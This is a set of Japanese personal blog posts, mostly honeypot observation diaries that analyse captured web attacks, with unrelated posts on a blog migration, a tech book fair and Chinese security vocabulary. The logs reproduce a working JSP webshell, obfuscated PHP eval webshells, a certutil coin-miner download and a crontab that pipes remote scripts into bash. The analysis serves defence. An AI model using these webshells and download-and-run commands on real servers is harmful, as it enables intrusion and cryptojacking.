jspによるWebShell作成〜コインマイナー実行の試み
Java女子としては見逃せない(?!)、jspを利用したWebShell作成の試みをWOWHoneypotで発見しました。
同一IPからの連続したアクセスで、「Webshell作成」「WebShellを利用したコインマイナー設置」「WebShellを利用したコインマイナー実行」と三段階の攻撃の試みとなっていました。
その1 (Webshellの作成)
PUT /indexweb4.jsp/ HTTP/1.1 Connection: Keep-Alive Content-Type: text/plain; Charset=UTF-8 Accept: */* Accept-Language: zh-cn Referer: http://xxx.xxx.xxx.xxx:80/indexweb4.jsp/ User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1) Content-Length: 776 Host: xxx.xxx.xxx.xxx <%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%> <%!public static String excuteCmd(String c) { StringBuilder line = new StringBuilder(); try { Process pro = Runtime.getRuntime().exec(c); BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream())); String temp = null; while ((temp = buf.readLine()) != null) { line.append(temp+"\\n"); } buf.close(); } catch (Exception e) { line.append(e.getMessage()); } return line.toString(); } %> <% if("bala123".equals(request.getParameter("pwd"))&&!"".equals(request.getParameter("cmd"))) { out.println("<pre>"+excuteCmd(request.getParameter("cmd"))+"</pre>"); } else { out.println(":-)"); } %>
HTTPのPUTメソッドで、jspファイルの設置を試みているようです。
リクエストパラメータとしては pwd
cmd
を受け取る作りになっており、動作としては大まかには以下のようになります。
pwd
が想定しているもの("bala123")と一致する場合、cmd
の内容を画面に表示し、コマンドを実行pwd
が想定しているもの("bala123")と一致しなければ:-)
を画面に表示して終了
:-)
を表示して終了って……
余談ですが、Javaで文字列の比較を行うときは、定数を先に持ってくるのがセオリーでしたね。
変数を先にして request.getParameter("pwd").equals("bala123")
としてしまうと、リクエストパラメータのpwdがnullの際にNullPointerExceptionが発生してしまいます。
"bala123".equals(request.getParameter("pwd"))
とすることで、pwdがnullの場合もNullPointerExceptionを発生させることなく、結果をfalseとして処理できるようになっています。
その2 (WebShellを利用したコインマイナー設置の試み)
GET /indexweb4.jsp?cmd=cmd.exe%20/c%20certutil.exe%20-urlcache%20-split%20-f%20http://3389.space/nw/vm.exe%20c:/windows/inf/sst.exe&pwd=bala123 HTTP/1.1 Connection: Keep-Alive Accept: */* Accept-Language: zh-cn Referer: http://104.197.55.223:80/indexweb4.jsp?cmd=cmd.exe%20/c%20certutil.exe%20-urlcache%20-split%20-f%20http://3389.space/nw/vm.exe%20c:/windows/inf/sst.exe&pwd=bala123 User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1) Host: xxx.xxx.xxx.xxx
「その1」のWebShell作成の試みが成功したという想定で、次なるリクエストを投げてきています。
pwd=bala123
は、「その1」で想定している pwd
の値と等しいため、 cmd
に記載されている内容が実行されます。 cmd
の内容をURLデコードして見てみると以下のようになります。
cmd.exe /c certutil.exe -urlcache -split -f http://3389.space/nw/vm.exe c:/windows/inf/sst.exe
記述から、Windows向けの処理であることが推測できます。
certutil.exe はWindowsで証明機関の構成/管理を行うコマンドなのですが、上記のように -urlcache
-split
-f
オプションを併用することで、インターネット上から任意のデータをダウンロードを行うことが可能となるそうです。
参考 : A Suspicious Use of certutil.exe - SANS Internet Storm Center
「Windowsにもともと入っているツールで、簡単にインターネットからのファイルダウンロードができる」というところで、なかなかギミックが効いていてカッコいいコマンドの使い方だなあと思うわけですが、悪意あるファイルのダウンロードに利用されると怖いですね。
今回は、指定されたURLからvm.exeを取得し、 c:/windows/inf/sst.exeとして保存しています。vm.exe については、VirusTotalで検索したところ、コインマイナーであるらしいとの情報が出てきました。
その3 (WebShellを利用したコインマイナー実行の試み)
GET /indexweb4.jsp?cmd=cmd.exe%20/c%20c:\windows\inf\sst.exe&pwd=bala123 HTTP/1.1 Connection: Keep-Alive Accept: */* Accept-Language: zh-cn Referer: http://104.197.55.223:80/indexweb4.jsp?cmd=cmd.exe%20/c%20c:\windows\inf\sst.exe&pwd=bala123 User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1) Host: xxx.xxx.xxx.xxx
「その2」が成功した想定で、さらに次のリクエストを投げてきています。こちらも想定された pwd
の値が送られてきているため、 cmd
の内容が実行されることとなります。 cmd
をURLデコードした結果が以下です。
/cmd.exe /c c:\windows\inf\sst.exe
もうこれは説明するまでもないのですが、「その2」でダウンロードしたファイルの実行を行っています。WebShellの設置、コインマイナーのダウンロードが済んだので、次はいよいよコインマイナーの実行に入ろうというところですね。
まとめ
順を追ってログを追うことで、WebShellがどのように作成され、どのように利用されようとしているかを知ることができました。
こういった連続したログから、意図やストーリーみたいなものが見える瞬間が、ハニーポット観察の中で一番好きです。笑
参考
Hello, Peppa!のアクセスログ
Hello, Peppa!
Hello, Peppa!という謎のアクセス - とりあえずブログ
「Hello, Peppa!」というこの気になるアクセス、私の運用しているWOWHoneypotにも来ていました。いくつかパターンがあったので、ログを抜き出してご紹介します。
ログその1
POST /cmx.php HTTP/1.1 Host: xxx.xxx.xxx.xxx User-Agent: Go-http-client/1.1 Content-Length: 5433 Accept: */* Content-Type: multipart/form-data; boundary=------------------------c7145c544564e14d --------------------------c7145c544564e14d Content-Disposition: form-data; name="_upl" Upload --------------------------c7145c544564e14d Content-Disposition: form-data; name="h" if (copy($_FILES[fileupload][tmp_name],$_FILES[fileupload][name])) echo OK; die(); --------------------------c7145c544564e14d Content-Disposition: form-data; name="w" if (copy($_FILES[fileupload][tmp_name],$_FILES[fileupload][name])) echo OK; die(); --------------------------c7145c544564e14d Content-Disposition: form-data; name="leng" if (copy($_FILES[fileupload][tmp_name],$_FILES[fileupload][name])) echo OK; die(); --------------------------c7145c544564e14d Content-Disposition: form-data; name="a" if (copy($_FILES[fileupload][tmp_name],$_FILES[fileupload][name])) echo OK; die(); --------------------------c7145c544564e14d Content-Disposition: form-data; name="b" if (copy($_FILES[fileupload][tmp_name],$_FILES[fileupload][name])) echo OK; die(); --------------------------c7145c544564e14d Content-Disposition: form-data; name="c" if (copy($_FILES[fileupload][tmp_name],$_FILES[fileupload][name])) echo OK; die(); --------------------------c7145c544564e14d Content-Disposition: form-data; name="abc" if (copy($_FILES[fileupload][tmp_name],$_FILES[fileupload][name])) echo OK; die(); --------------------------c7145c544564e14d Content-Disposition: form-data; name="0" if (copy($_FILES[fileupload][tmp_name],$_FILES[fileupload][name])) echo OK; die(); --------------------------c7145c544564e14d Content-Disposition: form-data; name="cmd" if (copy($_FILES[fileupload][tmp_name],$_FILES[fileupload][name])) echo OK; die(); --------------------------c7145c544564e14d Content-Disposition: form-data; name="php" if (copy($_FILES[fileupload][tmp_name],$_FILES[fileupload][name])) echo OK; die(); --------------------------c7145c544564e14d Content-Disposition: form-data; name="1" if (copy($_FILES[fileupload][tmp_name],$_FILES[fileupload][name])) echo OK; die(); --------------------------c7145c544564e14d Content-Disposition: form-data; name="bbs" if (copy($_FILES[fileupload][tmp_name],$_FILES[fileupload][name])) echo OK; die(); --------------------------c7145c544564e14d Content-Disposition: form-data; name="m" if (copy($_FILES[fileupload][tmp_name],$_FILES[fileupload][name])) echo OK; die(); --------------------------c7145c544564e14d Content-Disposition: form-data; name="js" if (copy($_FILES[fileupload][tmp_name],$_FILES[fileupload][name])) echo OK; die(); --------------------------c7145c544564e14d Content-Disposition: form-data; name="2" if (copy($_FILES[fileupload][tmp_name],$_FILES[fileupload][name])) echo OK; die(); --------------------------c7145c544564e14d Content-Disposition: form-data; name="3" if (copy($_FILES[fileupload][tmp_name],$_FILES[fileupload][name])) echo OK; die(); --------------------------c7145c544564e14d Content-Disposition: form-data; name="!@#" if (copy($_FILES[fileupload][tmp_name],$_FILES[fileupload][name])) echo OK; die(); --------------------------c7145c544564e14d Content-Disposition: form-data; name="ae" if (copy($_FILES[fileupload][tmp_name],$_FILES[fileupload][name])) echo OK; die(); --------------------------c7145c544564e14d Content-Disposition: form-data; name="axa" if (copy($_FILES[fileupload][tmp_name],$_FILES[fileupload][name])) echo OK; die(); --------------------------c7145c544564e14d Content-Disposition: form-data; name="aaaa" if (copy($_FILES[fileupload][tmp_name],$_FILES[fileupload][name])) echo OK; die(); --------------------------c7145c544564e14d Content-Disposition: form-data; name="x" if (copy($_FILES[fileupload][tmp_name],$_FILES[fileupload][name])) echo OK; die(); --------------------------c7145c544564e14d Content-Disposition: form-data; name="xx" if (copy($_FILES[fileupload][tmp_name],$_FILES[fileupload][name])) echo OK; die(); --------------------------c7145c544564e14d Content-Disposition: form-data; name="eval" if (copy($_FILES[fileupload][tmp_name],$_FILES[fileupload][name])) echo OK; die(); --------------------------c7145c544564e14d Content-Disposition: form-data; name="file"; filename="E:\\PHPnow\\htdocs\\images.php" Content-Type: application/octet-stream <?php $func='c'.'r'.'e'.'a'.'t'.'e'.'_'.'f'.'u'.'n'.'c'.'t'.'i'.'o'.'n';$test=$func('$x','e'.'v'.'a'.'l'.'(b'.'a'.'s'.'e'.'6'.'4'.'_'.'d'.'e'.'c'.'o'.'d'.'e($x));');$test('c2Vzc2lvbl9zdGFydCgpOwppZihpc3NldCgkX1BPU1RbJ2NvZGUnXSkpewooc3Vic3RyKHNoYTEobWQ1KCRfUE9TVFsnYSddKSksMzYpPT0nMjIyZicpICYmICRfU0VTU0lPTlsndGhlQ29kZSddPXRyaW0oJF9QT1NUWydjb2RlJ10pOwp9CmlmKGlzc2V0KCRfU0VTU0lPTlsndGhlQ29kZSddKSl7CmV2YWwoYmFzZTY0X2RlY29kZSgkX1NFU1NJT05bJ3RoZUNvZGUnXSkpOwp9'); ?>Hello, Peppa! --------------------------c7145c544564e14d Content-Disposition: form-data; name="fileupload"; filename="E:\\PHPnow\\htdocs\\images.php" Content-Type: application/octet-stream <?php $func='c'.'r'.'e'.'a'.'t'.'e'.'_'.'f'.'u'.'n'.'c'.'t'.'i'.'o'.'n';$test=$func('$x','e'.'v'.'a'.'l'.'(b'.'a'.'s'.'e'.'6'.'4'.'_'.'d'.'e'.'c'.'o'.'d'.'e($x));');$test('c2Vzc2lvbl9zdGFydCgpOwppZihpc3NldCgkX1BPU1RbJ2NvZGUnXSkpewooc3Vic3RyKHNoYTEobWQ1KCRfUE9TVFsnYSddKSksMzYpPT0nMjIyZicpICYmICRfU0VTU0lPTlsndGhlQ29kZSddPXRyaW0oJF9QT1NUWydjb2RlJ10pOwp9CmlmKGlzc2V0KCRfU0VTU0lPTlsndGhlQ29kZSddKSl7CmV2YWwoYmFzZTY0X2RlY29kZSgkX1NFU1NJT05bJ3RoZUNvZGUnXSkpOwp9'); ?>Hello, Peppa! --------------------------c7145c544564e14d--
multipart/form-data はファイルアップロードなどに使われるデータ形式ですね。cmx.php はWebShellとして使用されるファイル名のようです。(参考 : ハニーポット観察記録(36)「phpMyAdminの設定不備を狙ったWebShell作成の試み」 at www.morihi-soc.net)
Base64エンコードされている部分のデコード結果は、以下のようになっていました。
session_start(); if(isset($_POST['code'])){ (substr(sha1(md5($_POST['a'])),36)=='222f') && $_SESSION['theCode']=trim($_POST['code']); } if(isset($_SESSION['theCode'])){ eval(base64_decode($_SESSION['theCode']));
処理自体に何か意味があるというよりは、これが実行できるかどうか、で脆弱性の有無を選り分けている感じでしょうか。
ログその2
POST /images.php HTTP/1.1 Host: xxx.xxx.xxx.xxx Accept: */* Content-Length: 956 Content-Type: application/x-www-form-urlencoded a=just+for+fun&code=aWYgKCFmdW5jdGlvbl9leGlzdHMoJ3Bvc2l4X2dldGVnaWQnKSkKewoJJHVzZXIgPSBAZ2V0X2N1cnJlbnRfdXNlcigpOwoJJHVpZCA9IEBnZXRteXVpZCgpOwoJJGdpZCA9IEBnZXRteWdpZCgpOwoJJGdyb3VwID0gIj8iOwp9CmVsc2UKewoJJHVpZCA9IEBwb3NpeF9nZXRwd3VpZChAcG9zaXhfZ2V0ZXVpZCgpKTsKCSRnaWQgPSBAcG9zaXhfZ2V0Z3JnaWQoQHBvc2l4X2dldGVnaWQoKSk7CgkkdWlkID0gJHVpZFsndWlkJ107CgkkdXNlciA9ICR1aWRbJ25hbWUnXTsKCSRnaWQgPSAkZ2lkWydnaWQnXTsKCSRncm91cCA9ICRnaWRbJ25hbWUnXTsKfQplY2hvICJIZWxsbywgUGVwcGEhfCIgLiBwaHBfdW5hbWUoKSAuIiArICIuICdVc2VyOicuJHVpZC4nKCcuJHVzZXIuJykvR3JvdXA6Jy4kZ2lkLicoJy4kZ3JvdXAuJyknIC4iICsgIi4kX1NFUlZFUlsnU0VSVkVSX1NPRlRXQVJFJ10gLiIgKyAiLiAkX1NFUlZFUlsnRE9DVU1FTlRfUk9PVCddIC4iICsgIi4gJF9TRVJWRVJbJ1NDUklQVF9GSUxFTkFNRSddIC4gInwiOwokc2VsZiA9IHN1YnN0cigkX1NFUlZFUlsnUEhQX1NFTEYnXSxzdHJycG9zKCRfU0VSVkVSWydQSFBfU0VMRiddLCcvJykrMSk7CiR0aW1lID0gQHN0cnRvdGltZSgiMjAxNS0wNy0xNiAxNzozMjozMiIpOwplY2hvIChAdG91Y2goJHNlbGYsJHRpbWUsJHRpbWUpID8gJ3N1Y2Nlc3MnIDogJ2ZhaWxlZCcpOw%3D%3D
a=just+for+fun って本当にそうなのでしょうか……。その1と同様に、codeパラメータ以下をBase64デコードしてみると、以下のような結果となりました。
if (!function_exists('posix_getegid')) { $user = @get_current_user(); $uid = @getmyuid(); $gid = @getmygid(); $group = "?"; } else { $uid = @posix_getpwuid(@posix_geteuid()); $gid = @posix_getgrgid(@posix_getegid()); $uid = $uid['uid']; $user = $uid['name']; $gid = $gid['gid']; $group = $gid['name']; } echo "Hello, Peppa!|" . php_uname() ." + ". 'User:'.$uid.'('.$user.')/Group:'.$gid.'('.$group.')' ." + ".$_SERVER['SERVER_SOFTWARE'] ." + ". $_SERVER['DOCUMENT_ROOT'] ." + ". $_SERVER['SCRIPT_FILENAME'] . "|"; $self = substr($_SERVER['PHP_SELF'],strrpos($_SERVER['PHP_SELF'],'/')+1); $time = @strtotime("2015-07-16 17:32:32"); ��ho (@touch($self,$time,$time) ? 'success' : 'failed');
最後の行はなぜか文字化けしてしまいましたが、おそらく「echo」ですね。サーバの情報をいろいろと出力させようとしている感じ。
ログその3
GET /cmx.php?cmd=echo+%5E%3C%3Fphp+%24func%3D%27c%27.%27r%27.%27e%27.%27a%27.%27t%27.%27e%27.%27_%27.%27f%27.%27u%27.%27n%27.%27c%27.%27t%27.%27i%27.%27o%27.%27n%27%3B%24test%3D%24func%28%27%24x%27%2C%27e%27.%27v%27.%27a%27.%27l%27.%27%28b%27.%27a%27.%27s%27.%27e%27.%276%27.%274%27.%27_%27.%27d%27.%27e%27.%27c%27.%27o%27.%27d%27.%27e%28%24x%29%29%3B%27%29%3B%24test%28%27c2Vzc2lvbl9zdGFydCgpOwppZihpc3NldCgkX1BPU1RbJ2NvZGUnXSkpewooc3Vic3RyKHNoYTEobWQ1KCRfUE9TVFsnYSddKSksMzYpPT0nMjIyZicpICYmICRfU0VTU0lPTlsndGhlQ29kZSddPXRyaW0oJF9QT1NUWydjb2RlJ10pOwp9CmlmKGlzc2V0KCRfU0VTU0lPTlsndGhlQ29kZSddKSl7CmV2YWwoYmFzZTY0X2RlY29kZSgkX1NFU1NJT05bJ3RoZUNvZGUnXSkpOwp9%27%29%3B+%3F%5E%3E+%3Eimages.php+%26+echo+Hello%2C+Peppa%21 HTTP/1.1 Host: xxx.xxx.xxx.xxx User-Agent: Go-http-client/1.1 Accept: */*
URLデコードすると以下のようになります。
echo ^<?php $func='c'.'r'.'e'.'a'.'t'.'e'.'_'.'f'.'u'.'n'.'c'.'t'.'i'.'o'.'n';$test=$func('$x','e'.'v'.'a'.'l'.'(b'.'a'.'s'.'e'.'6'.'4'.'_'.'d'.'e'.'c'.'o'.'d'.'e($x));');$test('c2Vzc2lvbl9zdGFydCgpOwppZihpc3NldCgkX1BPU1RbJ2NvZGUnXSkpewooc3Vic3RyKHNoYTEobWQ1KCRfUE9TVFsnYSddKSksMzYpPT0nMjIyZicpICYmICRfU0VTU0lPTlsndGhlQ29kZSddPXRyaW0oJF9QT1NUWydjb2RlJ10pOwp9CmlmKGlzc2V0KCRfU0VTU0lPTlsndGhlQ29kZSddKSl7CmV2YWwoYmFzZTY0X2RlY29kZSgkX1NFU1NJT05bJ3RoZUNvZGUnXSkpOwp9'); ?^> >images.php & echo Hello, Peppa!
$testの中の文字列は、ログその1のものと同じです。
ログその4
POST /db_session.init.php HTTP/1.1 Host: xxx.xxx.xxx.xxx:80 User-Agent: Mozilla/5.0 Connection: Close Content-Type: application/x-www-form-urlencoded Content-Length: 48 eval=die('Hello, Peppa!'.(string)(111111111*9));
こちらも処理自体にはそれほど意味はない気がしますね。
Hello, Peppa!、WOWHoneypotのログを見たところ、5月4日くらいから観測されているのですが、ネット上にはあまり情報が見られないです。検索してヒットする情報も、2018年の5月〜6月のものなので、何か新しいスキャナなのでしょうか……。引き続きログの観察と情報の収集を行っていきたいと思います。
参考
はてなブログに移行しました
はてなブログ移行
経緯
おわー!かんずねっとの証明書がきれている
— kanz (@k_anz__) 2018年6月3日
もうだめだあ…全然メンテしきれてない…
— kanz (@k_anz__) 2018年6月3日
実はこの証明書期限切れをやらかすのが二度目だったのです……。二度あることは三度ある気がしたし、三度目を防ぐための運用作業に時間を割く気もしなかったので(大した作業ではないのですが……)、はてなブログに移行することを決めました。
運用するために運用してんじゃないからな。情報発信のために運用してんだから。
— kanz (@k_anz__) 2018年6月4日
これに尽きます。
あと「セキュリティをネタにしたブログなのに、忙しさにかまけて、セキュリティ対策が疎かになってきた」のも理由のひとつです。証明書は切らすし、Wordpressのバージョン更新は滞りがちになるし。それが続くくらいだったら、外部サービスに載っけて安心したほうがいいかなあ、と思ったのでした。
ただ、k-anz.netの運用を通じて、いままでにしたことのない作業を経験できたのは良かったと思います。具体的には、Let's encryptでサイトをHTTPS化したり、ドメイン取ってCloud DNSにレコード登録したり、nginxを初めて使って運用したりとか。とくに私は、普段のお仕事ではサービスの運用作業をあまりしないので、サービスを公開するために必要な作業を一通り経験しておくことができたのは良かったです。
これから
ちょっと最近忙しくて更新が滞りがちだったのですが、そろそろ落ち着いたので、またネタを見つけて書き物をしていきたいと思います!
技術書典4に一般参加してきました
技術書典4に行きました
技術書典4に一般参加してきました。 スタッフの方、サークル参加の方、そして同じく一般で参加した方々、みなさまお疲れ様でした!
当日
コミケ参加経験があるせいで、少々技術書典を舐めてかかっていたところがありました。(笑) 次回の技術書典に参加される方の参考……になるかはよくわからないですが、私の当日の動きはこんな感じでした。
時間 | やっていたこと |
---|---|
9:30 | 起床 |
10:00 | 諸々の家事を片づける |
11:00 | 自宅で会場の行列の写真を見て、あまりの人の多さに会場へ行く気力を無くしかける |
12:00 | なんとか会場に向かう決心をする |
13:00 | 秋葉原UDX着、整理券をもらう |
〃 | 会社の元同僚と合流してランチ |
13:45 | 整理券の順番が来たので会場入り |
〃 | 「完売」の看板が多くなってきてはいたがそれなりに楽しむ |
14:30 | 人混みに疲れたので会場を離れる |
〃 | 会場を出たところでまた別の知り合いに会ったので、お茶する |
15:30 | 秋葉原を離れる |
反省点はただ一つ、「開場時間に間に合うように行けばよかった」ですね。昼過ぎからでいいや、の精神だと、欲しいものが売り切れになる可能性は高いです。。だいたい、昼過ぎになってもたいして混雑は緩和されないので、早くに行っても遅くに行ってもさして変わらないと思います。それだったら早めに行って早めに切り上げた方が良い気もします。
しかし、こうして振り返ると、なんだか人と会ってはランチしたりお茶したりしていただけな感じがしますね……。まあ、普段なかなか会えない方とも会えたので、これはこれでよしとします。
買ったもの
肝心の買ったものです。実は電子版データを1冊しか買っていません……
- AllSafe 「ANALYZING MR.ROBOT」
サークルの方が「Amazonプライムビデオで配信しているMR.ROBOTという海外ドラマの解説本なんd……」と本の説明をしかけたところを遮って、かなり食い気味に「全部見ました!!!シーズン3まで!!!!!」と返して、重い愛を披露してしまいました、すみません。。。
サークル名が「AllSafe」だったり、配信カードの「電子版」表記が中国語の簡体字になっていたり(ダークアーミーをイメージしたとのこと!)と、細かなところにもいろいろとこだわりを感じました。素敵です。
内容も少しずつ読み進めているのですが、「こんなに細かいところまで考察を……」という感じですごく興味深いです。内容も厚く、この充実ぶりなのにこのお値段で良いのかしら、と心配になってしまいました。気持ちとしては2〜3倍くらい払いたい。最後まで楽しんで読みたいと思います。
次回
技術書で会った元同僚たちと意気投合しまして、「次回はサークル側で参加しよう!!!」という話になりました。(笑) 何もかもが未定ですが、もし本当にサークル参加が実現したらスペースまで遊びに来てください。出展する際は、またこちらでも告知します。実現したらね……
ハニーポットでよく見るユーザーエージェントについて調べた
よく見かけるユーザーエージェントについて調べてみた
今回は少し趣向を変えて…… ハニーポットのログでよく見かけるユーザーエージェントについて調べてみました。
ZmEu
項目名 | 内容 |
---|---|
UserAgent | ZmEu |
パス | /phpmyadmin/scripts/setup.php, /pma/scripts/setup.php など |
最初に残していく /w00tw00t.at.blackhats.romanian.anti-sec:) のログが特徴的な脆弱性スキャナです。Webサイト等を運営している方であれば、ログにこの文字列があるのを見たことがある方も多いのではないでしょうか? アクセス先はphpmyadminのセットアップスクリプトのほか、SSHパスワードのブルートフォースアタックも行っているとの情報もあります。英語版 Wikipedia にはページがあるくらいなので、おそらく有名なスキャナなのでしょうね。
https://en.wikipedia.org/wiki/ZmEu_(vulnerability_scanner)
ルーマニア生まれのツールで、ユーザーエージェントにもある「ZmEu」という名前は、ルーマニアの民話に出てくるドラゴンに似た生き物を表しているそうです。
Jorgee
項目名 | 内容 |
---|---|
UserAgent | Mozilla/5.0 Jorgee |
パス | /phpmyadmin2017, /phpmyadmin2018, /phpmanager など |
こちらもphpmyadminの脆弱性を探っているようです。
NYU
項目名 | 内容 |
---|---|
UserAgent | NYU |
パス | /RPC2, /cgi-bin/php?-d+allow_url_include=on..., /invoker/JMXInvokerServlet |
けっこう多様なパスにたいしてアクセスしてきている感じですね。/cgi-bin/php?-d+allow_url_include=on...は、2月の観察日記 で紹介したApache Magicaでしょうか。
muhstik-scan
項目名 | 内容 |
---|---|
UserAgent | Mozilla/5.0 muhstik-scan, muhstik/1.0 |
URL | https://github.com/phukd/muhstik |
言語 | C |
パス | /mysql/admin, /mysql/dbadmin, /phpmyadmin, /program, /webdav, /admin/sysadmin/ |
データベース系を中心に、あり得そうなパスに向けて一斉にアクセスをして、探りをかけてきています。
Indy-Library
項目名 | 内容 |
---|---|
UserAgent | Mozilla/3.0 (compatible; Indy Library) |
パス | /, /manager/html |
2月の観察日記 で挙げた「Tomcatのアプリケーションマネージャを狙ったブルートフォース攻撃」を行ってきたのがこのUAです。以降わりと頻繁にアクセスしてきているようです。
zgrab
項目名 | 内容 |
---|---|
UserAgent | Mozilla/5.0 zgrab/0.x |
URL | https://github.com/zmap/zgrab |
言語 | Go |
パス | / |
zmapというスキャナとともに動作する、アプリケーションレイヤのスキャナーのようです。
masscan
項目名 | 内容 |
---|---|
UserAgent | masscan/1.0 (https://github.com/robertdavidgraham/masscan) |
URL | https://github.com/robertdavidgraham/masscan |
言語 | C |
パス | / |
速さに定評があるTCPポートスキャナ
It can scan the entire Internet in under 6 minutes, transmitting 10 million packets per second.
6分で全体スキャン、すごい速さです。
sysscan
項目名 | 内容 |
---|---|
UserAgent | sysscan/1.0 (https://github.com/robertdavidgraham/sysscan) |
URL | https://github.com/robertdavidgraham/sysscan |
言語 | C? |
主に観測されたログ | / |
githubのリンクはリンク切れとなっていました。sysscanの後継がmasscanということなのかもしれないです。
まとめ
アプリケーションの脆弱性を狙ったもの、ポートスキャンを目的としたものなど、様々なユーザーエージェントからのアクセスを受けていることが改めてわかりました。また、一部のユーザーエージェントごとに一定の特徴が見られそうですね。(データベース系の脆弱性を中心にアクセスしているなど) ユーザーエージェント毎の集計等も、今後は取っていきたいと思いました!
ハニーポット観察日記 (2018年1月分)
遅くなりましたが
ハニーポット観察日記、2018年1月分です。
D-LINK DIR-610 ルータの脆弱性を狙った攻撃
POST /command.php HTTP/1.1
Accept: */*
Host: xxx.xxx.xxx.xxx
Content-Type: application/x-www-form-urlencoded
User-Agent: Wget(linux)
Content-Length: 208
cmd=%63%64%20%2F%76%61%72%2F%74%6D%70%20%26%26%20%65%63%68%6F%20%2D%6E%65%20%5C%5C%78%45%30%5C%5C%78%31%34%5C%5C%78%30%30%5C%5C%78%30%30%5C%5C%78%30%30%20%3E%3E%20%64%72%6F%70%20%26%26%20%65%63%68%6F%20%4F%4B
cmd=$cmd の形式のパラメータを受け付けているページ command.php があり、ここでコマンドを指定すると認証等を介さずOSコマンドを実行できてしまう、ということだそうです。どうしてこんな脆弱性が出来てしまったのでしょうね……
cmdのところをURLデコードするとこんな感じになります。
cd /var/tmp && echo -ne \\x3610cker > 610cker.txt && cat 610cker.txt
/var/tmp 配下で、610cker.txt という名前のテキストファイルを作成し、最後にテキストファイルの内容を出力しています。このコマンド自体にはさほど意味はなさそうで、どちらかというとこのコマンドによって、脆弱性の有るサーバーを選り分けている感じですね。
610cker.txt という名前はターゲットとしているルーターの型番を示しているという話もあるようです。以下サイトの解説が詳しいです。
参考 : Observing Large-Scale Router Exploit Attempts | ProtectWise™
Apache Magica (CVE-2012-1823) 攻撃
魔法少女アパッチ☆マギカ攻撃の愛称(?)で親しまれている、PHP の脆弱性を狙った攻撃を、私のハニーポットでも観測することができました。 PHPer としてもこれは見逃すわけにはいきません!
POST /cgi-bin/php?-d+allow_url_include=on+-d+safe_mode=off+-d+suhosin.simulation=on+-d+disable_functions=%22%22+-d+max_execution_time=0+-d+open_basedir=none+-d+auto_prepend_file=php://input+-d+cgi.force_redirect=0+-d+cgi.redirect_status_env=0+-n HTTP/1.1
Host: localhost
Accept: */*
User-agent: NYU
Content-Length: 256
Content-Type: application/x-www-form-urlencoded
<?php system("crontab -r; wget -V&&echo \"1 * * * * wget -q -O - http://internetresearch.is/robots.txt?php 2>/dev/null|bash;\"|crontab -;wget -V||curl -V|echo \"1 * * * * curl -s http://internetresearch.is/robots.txt?php 2>/dev/null|bash;\"|crontab -"); ?>*
脆弱性の詳細については、徳丸浩さんのブログで詳しく書かれているので、そちらをご参照ください。 CGI版PHPに対する魔法少女アパッチマギカ攻撃を観測しました | 徳丸浩の日記
毎時1分にファイルをダウンロードして実行しているようです。こういうログを見るとPHPのバージョンアップとか、堅牢なコーディングとか、ちゃんとやらなくてはなーと心から思いますね……。
Tomcatのアプリケーションマネージャを狙ったブルートフォース攻撃
GET /manager/html HTTP/1.1
Content-Type: text/html
Host: xxx.xxx.xxx.xxx
Accept: text/html, */*
User-Agent: Mozilla/3.0 (compatible; Indy Library)
Authorization: Basic YWRtaW46dG9tY2F0
Basic認証の部分は
- admin:admin
- admin:tomcat
など、ありふれたIDとパスワードが連続してアクセスされていました。こういうログを見るとIDとパスワードとか、ちゃんと設定しなくてはなーと心から思いますね……
おわりに
というわけで2回目のハニーポット観察日記でした。次回は少し趣向を変えて、ツールに着目してログを観察してみようかな〜と思っています。ではまた!
技術系中国語の勉強
今日はちょっと変わり種で語学系の投稿です。ハニーポットに中国からのアクセスがあり、それについて調べているうちに関係する中国語をいくつか覚えたので、備忘録代わりに単語をメモしておきます。
軟件
software
手机
携帯電話
技术
技術
漏洞
抜け穴。セキュリティホールのことも、この言葉で表現されているよう
黑客
hacker
発音が「heī kè」で hacker に近いからこの字になっているという話
cf. 黑客工具 : hacker tools
解压
圧縮されたファイルを展開すること
密码
暗号, パスワード
ex. 解压密码 : 圧縮ファイルの展開用のパスワード
远程
リモートコマンド
侏儒
見識のない人をあざけっていう語
すみません、これだけはMR.ROBOTネタです……(毎度MR.ROBOTの話ばかり挟んですみません、大好きなんです)。
ダーリーンがダークアーミーと連絡を取ろうと試みているときに、チャット内でダーリーンの発言は「侏儒」の発言として表示されていました。「ゲストユーザー」を貶めた言い方、というところなのですかね。
中国語サイト、ざっと雑に漢字を読むだけでも、なんとなく意味を拾えるものがあったりして面白いです。
「Struts2远程命令执行漏洞分析及防范」 は、 「Struts2 のリモートコマンド実行の脆弱性の分析、および対処法について」というところでしょうか。「Struts2漏洞利用工具 解压密码」というのも見つけましたが……、これはあまり深入りしないほうが良さそうですかね。
中国語文法や発音については、学んだことがないのでよくわからないのですが、こうしてサイトを見ているともっと勉強したくなりますね。時間を見つけてNHKの中国語講座でも見ようかしら……。最近、なんだか興味が多方面に広がっていてはてしないです。苦笑